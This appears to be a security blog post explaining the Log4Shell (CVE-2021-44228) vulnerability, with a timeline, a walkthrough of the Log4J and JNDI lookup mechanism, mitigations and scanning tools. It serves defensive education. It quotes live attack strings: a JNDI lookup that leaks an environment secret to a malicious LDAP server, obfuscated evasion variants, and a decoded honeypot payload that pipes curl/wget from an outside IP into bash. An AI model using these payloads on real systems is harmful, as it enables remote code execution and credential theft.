On Decemberr 9th, 2021 the web was turned on its head with the disclosure of a high severity vulnerability coined #log4shell. At the time we wrote an article on how this new vulnerability shines the light on the effectiveness of Web Application Firewalls (WAF) as a defensive control but we didn’t dive deep into the vulnerability, how it worked, what it was doing, or the available mitigation options outside of updating.
In this post we will deep dive into the vulnerability to see what we can learn as a community, and I’ll also share the latest thoughts on detection and mitigation strategies.
Understanding Log4Shell Vulnerability
The vulnerability itself was assigned the following CVE: CVE-2021-44228. Since its release a series of different CVE’s have been released abusing different aspects of the Log4J library and JNDI feature.
Here is a timeline of events, special thanks to JFrog and CSOnline for putting together an amazing list:
| Date | Description |
|---|---|
| 07/18/2013 | The JNDI lookup feature was committed. |
| 11/24/2021 | Chen Zhaojun, an employee of Alibaba reported on the vulnerability to Apache. |
| 11/26/2021 | CVE-2021-44228 was assigned in MITRE |
| 12/05/2021 | Apache’s developers created a bug ticket for resolving the issue, release version 2.15.0 is marked is the target fix version. |
| 12/09/2021 | CVE-2021-44228 went public (the original Log4Shell CVE). |
| 12/09/2021 | A security researcher dropped a zero-day remote code execution exploit on Twitter. The tweet was later deleted. |
| 12/10/2021 | Version 2.15.0 was released (fixes CVE-2021-44228) with a fix that disables message lookups by default, and restricts JNDI operation to specific classes & hostnames. |
| 12/10/2021 | Detected attacks on Minecraft servers. |
| 12/13/2021 | Version 2.16.0 was released (fixes CVE-2021-45046) which completely removes message lookups (cannot be enabled in any configuration) and disables JNDI support by default (can be re-enabled). |
| 12/14/2021 | CVE-2021-45046 went public, showing that Log4Shell can still be exploited on non-default configurations, but without a severe effect. |
| 12/15/2021 | Version 2.12.2 was released (with similar fixes to 2.16.0) for backport support to Java 7 |
| 12/16/2021 | The CVSS for CVE-2021-45046 was raised to 9.0, due to discovering several bypasses for the hostname and classes mitigations on Log4J 2.15.0. |
| 12/18/2021 | CVE-2021-45105 went public, showing a minor bug in Log4J’s string substitution, that may cause an exception to be thrown, in non-default configurations. |
| 12/18/2021 | Version 2.17.0 was released (fixes CVE-2021-45105) which reimplemented string substitution and locked down JNDI to be used only locally. |
| 12/20/2021 | Log4j exploited to install Dridex banking trojan and Meterpreter |
| 12/22/2021 | Version 2.12.3 was released (with similar fixes to 2.17.0) for backport support to Java 7. |
| 12/22/2021 | Version 2.3.1 was released (with similar fixes to 2.17.0) for backport support to Java 6. |
| 12/22/2021 | Data shows 10% of assets analyzed by Tenable were vulnerable to Log4Shell |
| 01/04/2022 | Federal Trade Commission (FTC) tells companies to patch Log4j vulnerability, threatens legal action |
| 01/10/2022 | Microsoft warns of China-based ransomware operator exploiting Log4Shell |
On a scale of 1 – 10, 10 being the worst (critical), this vulnerability was assigned a 10 giving it the most severe rating currently available. The reasoning for this rating is because it leads to one of the worst possible outcomes – Remote Code Execution.
Why this is bad: An RCE vulnerability is the ability for a bad actor to run arbitrary code on your machine. This is traditionally a very bad thing. You never want someone to be able to run any code from your machine.
This outcome is actually why it was coined #log4shell (more on this in a minute).
How Log4 Shell Works
These types of vulnerabilities are very interesting because they don’t abuse insecure code. It daisy chains two innocuous features, turning features into vulnerabilities.
To better understand what I mean, let’s look at how it works.
The vulnerability abuses the Log4J2 library and the Java Naming Directory Interface (JNDI).
Log4J Library
Log4J is a Java library for logging. It’s one of many different logging libraries and one of the more popular ones integrated as a dependency to a number of different Java applications.
It allows you to record events in the application. For instance, you could log a user logging into the application and any other pertinent data you might need to understand what the user is doing.
Here is a very basic example of how Log4J works:
logger.info("User {} has logged in using id {}", map.get("Name"), user.getId());
This will push the “name” into the first curly bracket, and the ID into the second. The output to your log file would look like this:
User Tony has logged in using id 001.
Cool, nothing bad about that.
Java Naming Directory Interface (JNDI)
JNDI on the other hand is a bit different.
For those that have been raised in today’s modern web architecture of API’s the idea of something like JNDI might sound like a foreign, horrible idea.
JNDI allows you to store Java objects in a remote location than serializes those objects so that they can be consumed by remote systems. Think of it as a mechanism that allows you to stream the object it’s storing. This allows a Java developer to store commonly used objects in a central location, leveraging JNDI to call said object to their JVM when needed.
Yes, what you would use a REST API for today, Java did via JNDI ages ago.
So here is a basic example of how it works using a basic Active Directory link using LDAP (Lightweight Directory Access Protocol):
ldap://188.56.76.25:8080/O=Perez,C=USA JVM could invoke this URL in their application and the server would respond with a serialized object (i.e., it would stream an object to the requestor). In this example, being its an AD instance, maybe it’s the profile object for the user with all their information.
This method of consuming objects is not as popular as it once was, but it is still in use. It’s further complicated because of Java’s philosophy about backwards compatibility. In other words, they never really remove much, always striving for ultimate backwards compatibility. It’s why extremely old Java code can run today on the latest JVM and Java compilers.
While the original exploit leveraged LDAP, it actually supports a number of other protocols / standards. They include:
| Protocol / Standard | Abbreviation |
|---|---|
| Lightweight Directory Access Protocol | LDAP |
| Domain Name System | DNS |
| Remote Method Invocation | RMI |
| Novell Directory Services | NDS |
| Network Information Service | NIS |
| Common Object Request Broker Architecture | CORBA |
The Issue: Log4J and JNDI
As they were designed, and leveraged, things are all good. They both do what they were designed to do. The problem, however, was introduced in 2013 when a patch was introduced allowing Log4J to make JNDI lookups.
Yes, Log4J was given the ability to initiate a request via JNDI for an object. Yes, there are legitimate use cases for why this would have been done in 2013.
This change allowed Log4J to do something like this:
final Logger logger = LogManager.getLogger(...);
logger.error("{}: Error {}", "${jndi:ldap://logconfig/prefix}", error.getMessage());In this example, assume you had a large cluster of logging servers all going back to one centralized server. You could use something like JNDI to prefix the logs on that central server with a specific prefix. So in this example, maybe it looks something like this:
Server 1: Error 500 - failed to open application
Server 2: Error 200 - application running successfullyThis is made possible because of the change made to Log4J to allow for lookups from remote locations when the “${” is found in the string.
Now, another very interesting capability is not just with JNDI, but the ability to look up environmental variables like this:
logger.error("The AWS Secret key: {}", "$[env:ENV_VALUE}");This would record a local environment variable to your log file. It would read something like this:
The AWS Secret key: nTu3CHjBnGhO69c18z66It’s important to note that this last bit with environment variables is not an issue with JNDI itself, but is a a feature of Log4J that will become more important when we’re talking about mitigation steps.
Example of How Log4Shell Works
Now, let’s put it all together.
Let’s assume you have a basic application. Doesn’t matter if it’s a web app, mobile app, or anything in between. The app has a basic search feature:
Via the back end, you’re recording the search queries with something like this:
final Logger logger = LogManager.getLogger(...);
logger.error("Search page: Search issued for {}", searchInput);This vulnerability would allow the bad actor to inject the log file with a string that abuses JNDI by pointing the URl to their malicious URL. Something like this:
Now, searchInput is going to recognize the JNDI request and perform the JNDI lookup. It looks something like this:
That’s it. That’s the vulnerability. Assuming you are pointing the string to your malicious server, you have successfully injected a foreign object into an app you don’t own.
Mitigating Log4Shell
Understanding how this vulnerability works is critical to the mitigation strategy you employ.
In my last post I spoke to the effectiveness of Web Application Firewalls, but I also talk to the point that it is not a silver bullet. It helps, but it doesn’t do away with your responsibility to patch and deploy appropriate, long-term, defensive controls.
If you are a Java developer and you are responsible for JVM’s, then the most effective mitigation strategy to is to turn off JNDI. But if you need it, then you should disable the flags that allow for remote servers to be called by JNDI by setting these flags to false in your JVM:
com.sun.jndi.ldap.object.trustURLCodebase
com.sun.jndi.rmi.object.trustURLCodebaseThese options essentially tell Java not to trust code that is coming from a URL. But, remember the conversation about enviornment variables?
Well, an attacker could do something like this:
${jndi:ldap://malicious-ldap/badobject/${env:AWS_SECRET}}
If the Java application makes the JNDI lookup, even if it doesn’t trust the response, you have now sent your secret key to the malicious server and if the bad actor is recording responses, they now have your secret keys.
So the most effective solution is to update Log4J to Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later).
Disable JNDI Lookups
Alternatively, if you prefer not to mess with it and prefer to disable JNDI you can do it using ZIP or JAR (which ever is your preference).
Using Zip, you can run something like this to remove the JMSAppender class from the current instance of log4j:
zip -d log4j-core-*.jar org/apache/log4j/net/JMSAppender.classOr this will remove the JndiLookup class explicitly, which is the class that introduces this whole issue:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
If you don't have zip, you can do the same using JAR like this:mkdir tmp
cd tmp
jar xvf ../log4j-1.2.*.jar
rm org/apache/log4j/net/JMSAppender.class
jar cvf ../log4j-1.2*-patched.jar .
Mitigation for Non-Java Developers
This vulnerability highlights a couple of different problems we don’t spend enough time talking about:
- Unknwon Unknowns
- Software Supply Chains
1. Unkonwn Unknowns
What we’re finding with Log4J is that it’s not as simple as saying – Just Update. Do you even know if you have Log4J in your environment? This vulnerability specifically highlights a dirty little secret in the world of application development – dependencies.
Many organizations are using Log4J even if they don’t explicitly know it, and many more have it enabled by default. This doesn’t even talk to configurations like JNDI (which is traditionally just left enabled by default by most apps that don’t even know it’s a thing).
So, if you’re not a Java developer patching your own Java applications, the first thing you need to do is figure out if this is risk in your environment. You can’t protect what you don’t know you have.
Available Scanning Tools – Free Options
The team at LunaSec put together this great tool to help you scan your environment (GitHub Link). This tool has the ability to scan JAR files and Java classes, which is extremely important to identifying those pesky dependencies.
Once you know where Log4J exists in your environment you can go about updating. In some instances, your vendor might have released an update to address it, in others you might have to have your team perform a hotpatch using this great tool (GitHub Link).
2. Software Supply Chains
Back in in 2014 I was talking about this basic concept of supply chain attacks. At the time, I was talking under the umbrella of WordPress, the most popular Content Management System (CMS) in the market. It’s power stemming from its highly extensible ecosystem, facilitated by plugins and themes.
Because of it’s popularity, it was, is, a massive target, and the #1 way bad actors were abusing the platform was through its plugin ecosystem. I would call this the platforms supply chain, one piece of a much bigger ecosystem that keeps the application online. The supply chain similar to traditional business would extend to all the components that power an application. From the servers, the services, to the extensions leveraged in the application itself (plugins).
Over the years, others had similar observations, and in recent years we have started to see the adoption of things like Attack Surface Management and Supply Chain Attacks.
This specific vulnerability does a great job of how serious a problem this is, and will continue to be. As our defenses get better, attackers will get smarter and the weakest link will be the supply chain itself.
It’s why the work that Open Web Application Security Project (OWASP) is doing with CycloneDX is so important. It is also why we’re seeing the rise of security companies like Riscosity come to life.
So while there isn’t a perfect solution to this problem, you could wager that in the coming years supply chain attacks that abuse those unknown unknowns will become more common place.
Learn From Log4J Attacks
This section is for defenders and analysts looking to understand how the attacks are evolving over time.
We have created a honeypot environment that is tracking and reporting on the various attacks and we’re sharing the evasion techniques being employed. You can follow along via our reputation.noc.org research page.
These are just a few things you will see:
Example 1: Encoding LDAP
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:
Example 2: Encoding the Payload
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:
Example 3: Leveraging Base64
KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDcuMjQ2LjEwNi4xNTc6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjA3LjI0Ni4xMDYuMTU3OjgwKXxiYXNo
Which translates to this:
(curl -s 45.155.205.233:5874/207.246.106.XX:80||wget -q -O- 45.155.205.233:5874/207.246.106.XX:80)|bashPlease direct all questions to support@noc.org.